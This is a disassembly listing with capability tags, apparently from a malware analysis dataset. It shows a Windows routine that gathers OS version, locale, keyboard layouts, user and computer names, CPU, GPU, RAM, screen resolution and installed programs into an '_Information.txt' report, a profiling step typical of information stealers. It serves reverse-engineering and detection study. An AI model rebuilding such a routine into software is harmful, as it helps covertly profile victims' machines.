Function at 0x40eb73
Capabilities:
Get cpu information
Get geographical location
Get hostname
Get installed programs
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a198e
mov eax, dword fs:[0]
push eax
mov eax, 0x19ac
call fcn.0047d570
mov eax, dword [0x4c3014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push ecx
push ecx
lea ecx, [ebp - 0x1990]
call fcn.0040ff66
push 0x104
lea eax, [ebp - 0x1190]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40ebf7
mov edx, str.Start_Build:
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea edx, [ebp - 0x1190]
mov ecx, eax
call fcn.00410697
mov edx, 0x4b68fc
mov ecx, eax
call fcn.00410697
push 0x1fe
lea eax, [ebp - 0xd80]
mov dword [ebp - 0x18dc], 0xff
push ebx
push eax
call fcn.0047ed30
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x18b4]
add esp, 0xc
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40ec5e
lea eax, [ebp - 0x18dc]
push eax
lea eax, [ebp - 0xd80]
push eax
push 0
push 0
push str.ProductName
push dword [ebp - 0x18b4]
call ebx
push dword [ebp - 0x18b4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
mov eax, 0xff
push 0x1fe
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 0x18d4], eax
lea eax, [ebp - 0xb80]
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0x980]
push 0x1fe
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0x18b4]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call esi
test eax, eax
jne 0x40ed05
lea eax, [ebp - 0x18d8]
push eax
lea eax, [ebp - 0xb80]
push eax
push 0
push 0
push str.CurrentBuildNumber
push dword [ebp - 0x18b4]
call ebx
lea eax, [ebp - 0x18d4]
push eax
lea eax, [ebp - 0x980]
push eax
push 0
push 0
push str.ReleaseId
push dword [ebp - 0x18b4]
call ebx
push dword [ebp - 0x18b4]
call edi
push 0x104
lea eax, [ebp - 0xf88]
push eax
push str._WINDIR_SysWOW64
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0xf88]
call fcn.0040ded0
test al, al
mov ecx, str.32_bit__x86_
mov esi, str.64_bit__x64_
mov edx, str.OS:
cmove esi, ecx
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea edx, [ebp - 0xd80]
mov ecx, eax
call fcn.00410697
mov edx, 0x4b6a78
mov ecx, eax
call fcn.00410697
mov edx, esi
mov ecx, eax
call fcn.00410697
mov edx, str.___Build:
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0xb80]
mov ecx, eax
call fcn.00410697
mov edx, str.___Release:
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0x980]
mov ecx, eax
call fcn.00410697
mov edi, 0x4b68fc
mov ecx, eax
mov edx, edi
call fcn.00410697
push 0x55
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
test eax, eax
je 0x40ede9
mov edx, str.OS_Language:
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea edx, [ebp - 0x138]
mov ecx, eax
call fcn.00410697
mov edx, edi
mov ecx, eax
call fcn.00410697
mov edx, str.Keyboard_Languages:
lea ecx, [ebp - 0x1980]
call fcn.00410697
mov edi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call edi
mov esi, eax
mov ecx, esi
shl ecx, 2
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
push esi
mov dword [ebp - 0x18bc], eax
call edi
mov edi, dword [ebp - 0x18bc]
xor esi, esi
mov dword [ebp - 0x18c4], eax
test eax, eax
je 0x40ee8e
mov ebx, eax
push 0x200
lea eax, [ebp - 0x1798]
push eax
movzx eax, word [edi + esi*4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40ee83
lea edx, [ebp - 0x1798]
lea ecx, [ebp - 0x1980]
call fcn.00410697
mov edx, 0x4b6b1c
mov ecx, eax
call fcn.00410697
push 0x200
lea eax, [ebp - 0x1798]
push 0
push eax
call fcn.0047ed30
add esp, 0xc
inc esi
cmp esi, ebx
jb 0x40ee33
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test edi, edi
je 0x40ee99
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call fcn.00486cb3
mov dword [ebp - 0x18c8], eax
lea eax, [ebp - 0x18c8]
pop ecx
push eax
mov dword [ebp - 0x18c4], edx
call fcn.00486f82
pop ecx
push 9
pop ecx
mov esi, eax
lea edi, [ebp - 0x17ec]
lea eax, [ebp - 0x17ec]
push eax
push str._r_nLocal_Date_and_Time:______Y__m__d__X
lea eax, [ebp - 0x250]
push 0x8c
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00486c11
lea eax, [ebp - 0x17ec]
push eax
push str.UTC:______________________z
lea eax, [ebp - 0x380]
push 0x96
push eax
call fcn.00486c11
add esp, 0x20
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x1980]
call fcn.00410697
mov esi, 0x4b68fc
mov ecx, eax
mov edx, esi
call fcn.00410697
lea edx, [ebp - 0x380]
mov ecx, eax
call fcn.00410697
mov edx, esi
mov ecx, eax
call fcn.00410697
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0x18b8], 0x101
push eax
lea eax, [ebp - 0x1398]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0x18b8], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, str.UserName__ComputerName_:
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea edx, [ebp - 0x1398]
mov ecx, eax
call fcn.00410697
mov edx, 0x4b6bb8
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0x30]
mov ecx, eax
call fcn.00410697
mov edx, 0x4b6bb0
mov ecx, eax
call fcn.00410697
push 0x1fe
lea eax, [ebp - 0x780]
mov dword [ebp - 0x18d0], 0xff
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0x18b4]
push eax
push 0x20119
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x80000002
call esi
test eax, eax
jne 0x40f014
lea eax, [ebp - 0x18d0]
push eax
lea eax, [ebp - 0x780]
push eax
push 0
push 0
push str.ProcessorNameString
push dword [ebp - 0x18b4]
call ebx
push dword [ebp - 0x18b4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 0x19b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x18b0]
mov dword [ebp - 0x18b0], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x1fe
lea eax, [ebp - 0x580]
mov dword [ebp - 0x18cc], 0xff
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0x18b4]
push eax
push 0x20119
push 0
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push 0x80000002
call esi
test eax, eax
jne 0x40f0a3
lea eax, [ebp - 0x18cc]
push eax
lea eax, [ebp - 0x580]
push eax
push 0
push 0
push str.DriverDesc
push dword [ebp - 0x18b4]
call ebx
push dword [ebp - 0x18b4]
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov edi, eax
call esi
mov edx, eax
lea ecx, [ebp - 0x17e0]
call fcn.0040ddc8
mov ebx, eax
mov edx, edi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x181c]
call fcn.0040ddc8
mov esi, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18a8]
mov ecx, dword [ebp - 0x18a4]
shrd edx, ecx, 0x14
shr ecx, 0x14
push ecx
push edx
lea ecx, [ebp - 0x32]
call fcn.00410a0d
add esp, 4
lea ecx, [ebp - 0x32]
push ecx
push eax
lea ecx, [ebp - 0x1804]
call fcn.004109da
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5e]
mov edx, dword [ebp - 0x19a0]
call fcn.004109bb
push ecx
lea ecx, [ebp - 0x5e]
push ecx
push eax
lea ecx, [ebp - 0x17b0]
call fcn.004109da
mov edx, str.CPU:
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea edx, [ebp - 0x780]
mov ecx, eax
call fcn.00410697
mov edx, str.__Cores:
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0x17b0]
mov ecx, eax
call fcn.0041082c
mov edx, 0x4b6bb0
mov ecx, eax
call fcn.00410697
mov edx, str.Total_RAM:
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0x1804]
mov ecx, eax
call fcn.0041082c
mov edx, str.__MB_r_n
mov ecx, eax
call fcn.00410697
mov edx, str.GPU:
mov ecx, eax
call fcn.00410697
lea edx, [ebp - 0x580]
mov ecx, eax
call fcn.00410697
mov edi, 0x4b68fc
mov ecx, eax
mov edx, edi
call fcn.00410697
mov edx, str.Display_Resolution:
mov ecx, eax
call fcn.00410697
mov edx, esi
mov ecx, eax
call fcn.0041082c
mov edx, 0x4b6d38
mov ecx, eax
call fcn.00410697
mov edx, ebx
mov ecx, eax
call fcn.0041082c
mov edx, edi
mov ecx, eax
call fcn.00410697
lea ecx, [ebp - 0x17b0]
call fcn.00404f32
lea ecx, [ebp - 0x1804]
call fcn.00404f32
lea ecx, [ebp - 0x181c]
call fcn.00404f32
lea ecx, [ebp - 0x17e0]
mov byte [ebp - 4], 0
call fcn.00404f32
mov edx, str._r_n_Installed_software__r_n
lea ecx, [ebp - 0x1980]
call fcn.00410697
lea eax, [ebp - 0x1990]
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push eax
push ecx
push ecx
mov edx, esi
mov ecx, 0x80000001
call fcn.0040e9d9
add esp, 0xc
lea eax, [ebp - 0x1990]
mov ebx, 0x80000002
mov edx, esi
push eax
push ecx
push ecx
mov ecx, ebx
call fcn.0040e9d9
add esp, 0xc
lea eax, [ebp - 0x1990]
mov edx, str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall
push eax
push ecx
push ecx
mov ecx, ebx
call fcn.0040e9d9
add esp, 0xc
lea ecx, [ebp - 0x1870]
call fcn.0040479d
lea eax, [ebp - 0x17b0]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1978]
call fcn.00410288
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x17b0]
cmp dword [ebp - 0x179c], 8
mov eax, dword [ebp - 0x17a0]
cmovae ecx, dword [ebp - 0x17b0]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [ebp - 0x17c8]
push eax
lea ecx, [ebp - 0x1870]
call fcn.00404d16
lea ecx, [ebp - 0x17b0]
mov byte [ebp - 4], 8
call fcn.00404f32
cmp dword [ebp - 0x17b4], 0x10
lea eax, [ebp - 0x17c8]
push dword [ebp - 0x17b8]
cmovae eax, dword [ebp - 0x17c8]
mov edx, str._Information.txt
push eax
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [ebp - 0x17c8]
call fcn.0040508d
lea ecx, [ebp - 0x1870]
call fcn.0040477b
lea ecx, [ebp - 0x1928]
call fcn.0040ff37
lea eax, [ebp - 0x1928]
mov dword [ebp - 4], 9
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0046a1df
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047c71d
leave
ret